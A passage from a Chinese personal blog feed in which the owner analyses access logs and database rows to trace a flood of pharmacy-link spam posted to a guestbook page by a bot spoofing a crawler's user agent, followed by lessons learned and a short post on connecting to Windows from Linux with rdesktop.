&lt;p&gt;那么问题就处在这里了，那我们得马上去看访问日志了&lt;code&gt;安全与运维-日志中心&lt;/code&gt;查看HTTP请求，这里我们就可以发现最近10k的请求都来自哪里，访问了哪些页面，访问类型等，可以说是很全的，还提供下载功能。&lt;/p&gt;
&lt;p&gt;这时候我们可以发现所有的请求都在访问一个&lt;code&gt;list.php&lt;/code&gt;的页面，很好，我们马上就找到问题了。&lt;/p&gt;
&lt;h1&gt;抓出元凶&lt;/h1&gt;
&lt;p&gt;上文提到了list.php这个文件，我们通过日志清楚的看到，有人在对他进行get和post请求，而且还有数字和like，猜测是爬虫或者是机器木马以及sql注入。&lt;/p&gt;
&lt;p&gt;日志&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;wp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;chenjia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;me&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt; &lt;span class="nt"&gt;144841&lt;/span&gt; &lt;span class="nt"&gt;90&lt;/span&gt; &lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Jan&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0800&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt; &lt;span class="nt"&gt;clever4u&lt;/span&gt; &lt;span class="nt"&gt;943&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /somepages/liuyan/list.php?id=2081&amp;amp;amp;like=1 HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;200&lt;/span&gt; &lt;span class="nt"&gt;1758912&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1420387742982432&lt;/span&gt; &lt;span class="nt"&gt;yq24&lt;/span&gt;
&lt;span class="nt"&gt;wp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;chenjia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;me&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt; &lt;span class="nt"&gt;217763&lt;/span&gt; &lt;span class="nt"&gt;143&lt;/span&gt; &lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Jan&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0800&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt; &lt;span class="nt"&gt;clever4u&lt;/span&gt; &lt;span class="nt"&gt;943&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /somepages/liuyan/list.php?id=2098&amp;amp;amp;like=1 HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;200&lt;/span&gt; &lt;span class="nt"&gt;1758912&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1420387778914382&lt;/span&gt; &lt;span class="nt"&gt;yq22&lt;/span&gt;
&lt;span class="nt"&gt;wp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;chenjia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;me&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt; &lt;span class="nt"&gt;280660&lt;/span&gt; &lt;span class="nt"&gt;160&lt;/span&gt; &lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Jan&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0800&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt; &lt;span class="nt"&gt;clever4u&lt;/span&gt; &lt;span class="nt"&gt;943&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /somepages/liuyan/list.php?id=2075&amp;amp;amp;like=1 HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;200&lt;/span&gt; &lt;span class="nt"&gt;1758912&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1420387797767577&lt;/span&gt; &lt;span class="nt"&gt;yq22&lt;/span&gt;
&lt;span class="nt"&gt;wp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;chenjia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;me&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt; &lt;span class="nt"&gt;244504&lt;/span&gt; &lt;span class="nt"&gt;183&lt;/span&gt; &lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Jan&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0800&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt; &lt;span class="nt"&gt;clever4u&lt;/span&gt; &lt;span class="nt"&gt;943&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /somepages/liuyan/list.php?id=2068&amp;amp;amp;like=1 HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;200&lt;/span&gt; &lt;span class="nt"&gt;1758912&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;66&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1420387826118131&lt;/span&gt; &lt;span class="nt"&gt;yq48&lt;/span&gt;
&lt;span class="nt"&gt;wp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;chenjia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;me&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;209&lt;/span&gt; &lt;span class="nt"&gt;228733&lt;/span&gt; &lt;span class="nt"&gt;80&lt;/span&gt; &lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;Jan&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;2015&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0800&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt; &lt;span class="nt"&gt;clever4u&lt;/span&gt; &lt;span class="nt"&gt;943&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /somepages/liuyan/list.php?id=2026&amp;amp;amp;like=1 HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;200&lt;/span&gt; &lt;span class="nt"&gt;1758912&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;188&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;165&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;15&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;209&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;1420387868681249&lt;/span&gt; &lt;span class="nt"&gt;yq24&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;日志中我们获得了攻击者的ip以及http的头部信息，通过查询&lt;code&gt;http://ahrefs.com/robot/&lt;/code&gt;我们发现这是一个正规的网站，也就是说攻击者仿照了这个头部信息而已（事实上这也是非常简单的）&lt;/p&gt;
&lt;p&gt;好奇一下他们在我的网页留下来了好多信息，还好我在网页留言的时候后台记录了发布者的ip和时间，我们通过查询数据库可以看到。以下内容。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;2269&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;AImiQwNlahFndy&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;SyvyvzufCMvuz&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialiscanadian&amp;quot;&amp;amp;gt;cialis 20mg canadian&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#howtoordercialisincanada&amp;quot;&amp;amp;gt;free cialis in canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#genericviagracialiscanada&amp;quot;&amp;amp;gt;canadian pharmacy cialis soft tabs&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#buycialisonlinecanadapharmacy&amp;quot;&amp;amp;gt;cialis canada over counter&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#achetercialisaucanada&amp;quot;&amp;amp;gt;mail order cialis canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialissalesonlinecanada&amp;quot;&amp;amp;gt;pharmacie francaise en ligne cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialiscostincanada&amp;quot;&amp;amp;gt;how to order cialis from canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialispricesincanada&amp;quot;&amp;amp;gt;purchase cialis in canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisuspharmacy&amp;quot;&amp;amp;gt;cialis online canada reviews&amp;amp;lt;/a&amp;amp;gt;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;94.153.11.98&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05 22:18:39&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;NULL&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;2270&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wtVcdABQmufsTrhV&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;keIWGoWmNRKKdxgrYNl&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#onlinepharmacycialisreviews&amp;quot;&amp;amp;gt;cheap canadian cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisprofessionalcanadianpharmacy&amp;quot;&amp;amp;gt;cialis uk pharmacy&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#onlinepharmacywwwbuycialisusa&amp;quot;&amp;amp;gt;reliable online pharmacy cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialis5mgfromcanada&amp;quot;&amp;amp;gt;cialis canada pharmacy&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadacialisprices&amp;quot;&amp;amp;gt;canada viagra cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadianpharmaciessellingcialis&amp;quot;&amp;amp;gt;buying real cialis online canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadianpharmacycialischeap&amp;quot;&amp;amp;gt;real cialis canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadiangenericcialis&amp;quot;&amp;amp;gt;canada pharmacy drugs cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;94.153.11.98&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05 22:26:12&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;NULL&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;2271&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;YzfMXRrCh&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;XvizwRTzT&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadianpharmacyviagraandcialis&amp;quot;&amp;amp;gt;canada pharmacy cialis online&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#bestonlinepharmacytobuycialis&amp;quot;&amp;amp;gt;canadian cialis for sale&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisbrandedcanadianpharmacy&amp;quot;&amp;amp;gt;cialis and viagra from canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#onlinecialisincanada&amp;quot;&amp;amp;gt;canadian pharmacy with cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#onlinecialiscanadian&amp;quot;&amp;amp;gt;canadian pharmacy cialis 10mg&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisinternetpharmacy&amp;quot;&amp;amp;gt;pharmacie francaise en ligne cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cheapcialiscanadapharmacyonline&amp;quot;&amp;amp;gt;cialis canada over counter&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#buyingcialisonlineincanada&amp;quot;&amp;amp;gt;canadian cialis reviews&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#bestonlinepharmacycialis&amp;quot;&amp;amp;gt;how much does cialis cost in canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisfordailyusefromcanada&amp;quot;&amp;amp;gt;cialis vs viagra canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisbrandcanadadiscount&amp;quot;&amp;amp;gt;pharmacie francaise en ligne cialis&amp;amp;lt;/a&amp;amp;gt;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;94.153.11.98&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05 22:40:41&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;NULL&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;2272&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;moyJWBpSRJEiqYCu&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xUqloQDwcdMfZv&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisvsviagracanada&amp;quot;&amp;amp;gt;cialis in canada over the counter&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisviagracanada&amp;quot;&amp;amp;gt;cost cialis walmart pharmacy&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialisviagraonlinecanada&amp;quot;&amp;amp;gt;viagra cialis canadian pharmacy&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cheapgenericcialisfromcanada&amp;quot;&amp;amp;gt;cialis canada mail order&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadianpharmacyviagra+cialis&amp;quot;&amp;amp;gt;pharmacy cialis canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#canadianpharmacompaniescialis&amp;quot;&amp;amp;gt;cialis professional canadian pharmacy&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#bestonlinepharmaciesforcialis&amp;quot;&amp;amp;gt;cialis by mail canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialispillsincanada&amp;quot;&amp;amp;gt;is canadian cialis safe&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#cialiscanadabuy&amp;quot;&amp;amp;gt;real cialis canada&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href=&amp;quot;http://canadianpharmacyrxbest.com/#mailordercialiscanada&amp;quot;&amp;amp;gt;20 mg cialis canada&amp;amp;lt;/a&amp;amp;gt;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;94.153.11.98&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2015-01-05 22:47:54&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;NULL&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;很明显的随机生成，留言的内容都是&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签，留下的网址都是同一个，也就是加拿大的xx医药网址（18+）的，很明显是一个推广机构在用,查询到的ip也是各种各样的~那么通过比对发现应该只有一到二个软件在攻击，不过流量巨大，每日请求的次数由几百次到几千次不等。&lt;/p&gt;
&lt;h1&gt;后续&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;我修改了一下留言的地址，然后在原来地址上留了一个纯文本来勾引spider，我看看攻击人的维护时间。&lt;/li&gt;
&lt;li&gt;我用数据库里面的留言数据在Google中进行搜索，发现很多大陆网站的留言区都被写入过，高度怀疑和wp的自动留言机器是同一个类型的恶意推广模式。&lt;/li&gt;
&lt;li&gt;使用开源框架或者内嵌开源框架一定要做好一些变化或者流量监控，互联网的nmap扫描太多了，很有可能你的网站的某一个功能就被robot给记录了。&lt;/li&gt;
&lt;li&gt;自己的完整还是每天都来看看，发现异常的情况应该及时修改，我的这个list在我旧的主机的时候已经有了，可是那时候以为是有些人搞笑的就没太在意。&lt;/li&gt;
&lt;li&gt;善于使用平台提供的工具，本地数据分析sublime就很方便~文本处理还是很快的。&lt;/li&gt;
&lt;/ol&gt;</content><category term="PHP"></category><category term="Security"></category><category term="January"></category></entry><entry><title>Linux 远程连接 Windows电脑</title><link href="https://blog.chenjia.me/articles/141208-002200.html" rel="alternate"></link><published>2014-12-08T00:22:00+08:00</published><updated>2014-12-08T00:23:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-12-08:/articles/141208-002200.html</id><summary type="html">&lt;p&gt;首先，windows电脑要开启远程登录&lt;/p&gt;
&lt;p&gt;然后，Ubuntu下载rdesktop~&lt;/p&gt;
&lt;p&gt;然后用命令 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;首先，windows电脑要开启远程登录&lt;/p&gt;
&lt;p&gt;然后，Ubuntu下载rdesktop~&lt;/p&gt;
&lt;p&gt;然后用命令&lt;code&gt;rdesktop -x hex 111.111.111.111 -g 1024*786 -f&lt;/code&gt;&lt;/p&gt;
